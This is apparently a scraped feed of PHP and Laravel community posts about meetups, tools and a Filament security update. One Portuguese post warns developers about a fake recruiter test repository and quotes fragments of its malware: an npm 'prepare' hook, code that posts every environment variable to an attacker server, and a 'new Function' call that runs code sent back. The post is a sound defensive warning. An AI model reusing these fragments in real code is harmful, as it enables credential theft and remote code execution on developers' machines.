Leandro Ferreira

I'm honored to be part of this team! 💛 I truly appreciate this opportunity and look forward to continuing my learning journey to contribute even more to this amazing Filament community! 🚀

⚠️ Devs, parem tudo e leiam. Quase rodei malware na minha máquina agora mesmo e quero que vocês saibam exatamente como funciona o golpe. Recebi um link de um repo no GitHub: um "MVP" de um projeto web3/poker, com pedido pra clonar e rodar localmente. Visual de teste técnico, daqueles que recruiter manda. Antes de tocar em qualquer coisa, parei e li o código pelo próprio GitHub, sem clonar. Bem que desconfiei. Era malware. E não um qualquer — tinha DOIS payloads que executam SOZINHOS, sem você rodar nada explicitamente. 🎯 Payload 1 — dispara no `npm install` O `package.json` tinha `"prepare": "node server/server.js"`. O detalhe maldoso: o script `prepare` roda AUTOMÁTICO toda vez que você dá `npm install`. Dentro dele, escondido nas rotas do servidor, um: `axios.post(url, { ...process.env })` Ou seja: ele empacota TODAS as suas variáveis de ambiente — chaves de AWS, tokens de API, secrets, seed phrase de carteira cripto — e manda pro servidor do atacante. E não para aí: a RESPOSTA do servidor é passada pra `new Function("require", resposta)(require)`. Isso é execução de código arbitrário, com acesso total ao Node: filesystem, child_process, rede. Ele pode roubar suas chaves SSH, instalar persistência, o que quiser. A URL do atacante? Escondida em base64 no `.env`, decodificando pra um domínio na Vercel. Disfarce em cima de disfarce.

Hey friends! 👋 I’m looking for new projects & opportunities✨🥰 Feel free to reach out or tag someone who might be looking 🙏 👇 Here's my portfolio: zahirnia.com

Comunidades Dev do Brasil, sua ajuda é crucial! 🇧🇷 Estamos mapeando as necessidades de eventos (presenciais/online) para que se mantenham acontecendo. Queremos fortalecer seus encontros! Participe: formcomunidades.pokemaobr.dev

Attention Filament users: we’ve identified and resolved a few security vulnerabilities. To address these vulnerabilities in your applications, please update to the following versions: v3.3.52 v4.11.5 v5.6.5

@danielhe4rt O prompt de 1 milhão 🌽

claude pague minhas contas não cometa erros

Hey @laravel developers! Now you can manage and troubleshoot your Laravel Cloud deployments, including with AI assistance, in PhpStorm’s new Laravel tool window. Anything missing? We’d love to hear your feedback! 👂

Pest. Larastan. Pint. Laravel Zero. OpenAI PHP. PHP Insights. You've been using @enunomaduro's tools for years. On June 11th, you can meet him at our next Laravel Greece meetup in Athens. RSVP 👇 luma.com/d36uzjdu

@danielhe4rt @mattpocockuk Yes, me too 💯

i'm literally refactoring a BUNCH of bad decisions using /grill-with-docs from @mattpocockuk holy shit i should give it a try earlier. simply addicted and now my codebase has a really good context mapping, with readable decisions

We’re excited to announce that we now have another great premium plugin distribution partner to help you get your work in the hands of your users: Privato! More information at the blog post linked in the replies.

what you should use in your next project: #php #laravel

@danielhe4rt 💯

@MrPunyapal @enunomaduro Happy birthday @enunomaduro !

Happy Birthday @enunomaduro 🎁🎂 Thanks for everything you done for PHP and Laravel community ❤️ 💜

@enunomaduro 🤣🤣🤣

o bagulho tá doido 🇧🇷

#phpsp pub

after literally making history yesterday.. we are not done.. tonight: php sp special @laravelphp.. see you soon 🐘

@enunomaduro @laravelphp 🔥🔥

Galera, o PHP Day SP 2026 tá chegando e eu não vejo a hora! 🚀 Dia 09/05 na FIAP Paulista, um dia inteiro de muito PHP, networking e até stand-up! E sempre, a comunidade @phpsp Ingressos por R$99 Bora? 👉 phpdaysp.pokemaobr.dev #PHPDAYSP #PHPSP #PHP #Dev #SaoPaulo #ComunidadePHP

Galera, últimas horas para adquirir os últimos ingressos que restam para o PHP Day São Paulo 2026 com @cviniciussdias e @enunomaduro. 🔥 bit.ly/php-day-sao-pa…

Laravel / Php Brazil, this is for you 💛

@enunomaduro Thank you Nuno 💛

Just use laravel